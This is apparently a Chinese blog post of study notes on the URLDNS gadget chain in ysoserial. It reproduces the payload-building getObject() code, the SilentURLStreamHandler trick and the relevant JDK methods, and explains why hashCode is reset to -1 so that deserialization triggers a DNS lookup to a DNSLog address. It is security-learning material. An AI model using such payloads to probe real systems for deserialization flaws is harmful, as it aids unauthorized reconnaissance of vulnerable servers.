ysoserial学习之 - URLDNS

大概学了一个多月Java,感觉有点底子了以后,终于开始学习Java相关漏洞了。搓搓手 ==

开个ysoserial的新坑。。日后慢慢填 = =


ysoserial基础使用

生成POC的地方是 GeneratePayload类的 main 方法。


而调试链子的地方为 PayloadRunner类。每个Payload类都会有一个 main方法,会调用 PayloadRunner类的 run 方法。该方法会将 gadgets 序列化后再反序列化回来。使得我们可以跟进链子。


URLDNS Poc

定位到 ysoserial 的 URLDNS.java。查看 getObject() 方法

以下注释为ysoserial源码的注释翻译,现在可以不用深入理解,后文会分析为什么。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
public Object getObject(final String url) throws Exception {
//为了避免生成Payload时触发到DNS解析,ysoserial 自定了一个 SilentURLStreamHandler 类
//(具体为什么这样做就能避免,会在后文分析。现在可暂时不管)
URLStreamHandler handler = new SilentURLStreamHandler();

HashMap ht = new HashMap(); //将要存放URL的HashMap
URL u = new URL(null, url, handler); //作为HashMap key值 的URL
ht.put(u, url); //触发DNS解析的关键在于key(put的第一个参数),value无所谓

//执行了上面的put()操作,URL的hashCode已经被计算过并存在变量u中
//但只有调用了 hashCode() 方法才会进行DNS解析
//所以我们需要手动将其hashCode重置为-1。好让它作为Payload时能够正常调用 hashCode()
Reflections.setFieldValue(u, "hashCode", -1);

return ht;
}

//ysoserial自定的类。继承 URLStreamHandler
static class SilentURLStreamHandler extends URLStreamHandler {
protected URLConnection openConnection(URL u) throws IOException {
return null;
}
protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
}

配置IDEA

环境:JDK1.8


配置 IDEA 的 Run/Debug Configurations:先运行 URLDNS 的 main() 函数使 IDEA Configurations 自动添加对应的配置。此时由于没有设置参数,肯定会报错,不需理会。

然后再设置 Program arguments 为Dnslog 地址:

配置完成后,再运行一次 URLDNS 的 main(),成功触发DNS请求


调试反序列化链

通过查看 ysoserial 的注释可以得知,整个链子如下:

1
2
3
4
5
* Gadget Chain:
* HashMap.readObject()
* HashMap.putVal()
* HashMap.hash()
* URL.hashCode()

这个注释已经把链子写的很清楚了,这里就不一一跟进分析,仅说明一些关键的点,并解决下初看Poc时的疑惑。

调试链子时,我们仅需要在 HashMap.readObject() 方法的 putVal() 操作上打上断点即可调试。


关键点1-最终触发DNS解析的代码

漏洞点为 URLStreamHandler.hashCode()。关键代码如下:

1
2
3
4
5
6
7
protected int hashCode(URL u) {
......
//使用了getHostAddress解析URL
//该函数会执行DNS请求
InetAddress addr = getHostAddress(u);
......
}

关键点2-为何POC重置hashCode为-1

gadgets 的最后一个方法为 URL.hashCode()。看一下这个类和方法的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public final class URL implements java.io.Serializable {
.....
transient URLStreamHandler handler;
private int hashCode = -1;
.....

public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;

//通过这一行代码,才会调用到漏洞点
hashCode = handler.hashCode(this);
return hashCode;
}
}

我们可以得知,URL类的 hashCode属性 并无 transient 修饰,且若 hashCode() 中 URL类 的 hashCode 值不为 -1 将会直接 return,无法执行到跳板 handler.hashCode(this)

而在Poc的代码中,执行了这样的操作:

1
2
3
HashMap ht = new HashMap();
URL u = new URL(null, url, handler);
ht.put(u, url); //key为URL类的u

跟进 put() 方法:

1
2
3
4
5
6
7
8
9
10
11
HashMap
public V put(K key, V value) {
//对key调用了hash()方法
return putVal(hash(key), key, value, false, true);
}
------
static final int hash(Object key) {
int h;
//调用了key的hashCode()方法
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}

跟进后可发现,在生成Payload这一步时就会调用URL的 hashCode(),使得这个key值的hashCode属性不为-1。这样的数据被序列化后再反序列化回去时,由于URL hashCode属性不为-1,将无法执行到跳板 handler.hashCode(this)

所以我们需要在 POC中 执行完 Hashmap.put() 后,手动将 hashCode值 还原成-1(用反射是因为hashCode是private修饰的),确保Payload被反序列化后能够正常执行到跳板。


关键点3 - 自定义了一个继承URLStreamHandler的类

跟过链子就知道,最终是 URLStreamHandler类触发的Dns请求。而POC中使用了多态的方式来 new 一个 URLStreamHandler类。为何如此?

根据注释可知,POC作者不希望在生成POC的时候会执行Dns请求。再根据上文关键点2可知,生成Poc的时候会调用 URL.hashCode(),第一次生成Payload时 URLStreamHandler的 hashCode肯定是-1,铁定会执行到最后的Dns请求代码。

为了解决这个问题。POC作者使用了多态的方式,自定义继承 URLStreamHandler 的类 SilentURLStreamHandler,并重写其关键方法 getHostAddress(),这样在运行Poc时只会调用到 SilentURLStreamHandlergetHostAddress()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
public Object getObject(final String url) throws Exception {
//new 谁就用谁的方法
URLStreamHandler handler = new SilentURLStreamHandler();

HashMap ht = new HashMap();
URL u = new URL(null, url, handler);
ht.put(u, url);
.....
}

static class SilentURLStreamHandler extends URLStreamHandler {

protected URLConnection openConnection(URL u) throws IOException {
return null;
}

//啥也没干的 getHostAddress()
protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
}

Reference

【代码审计】知识星球 - Java安全漫谈

https://xz.aliyun.com/t/9417#toc-2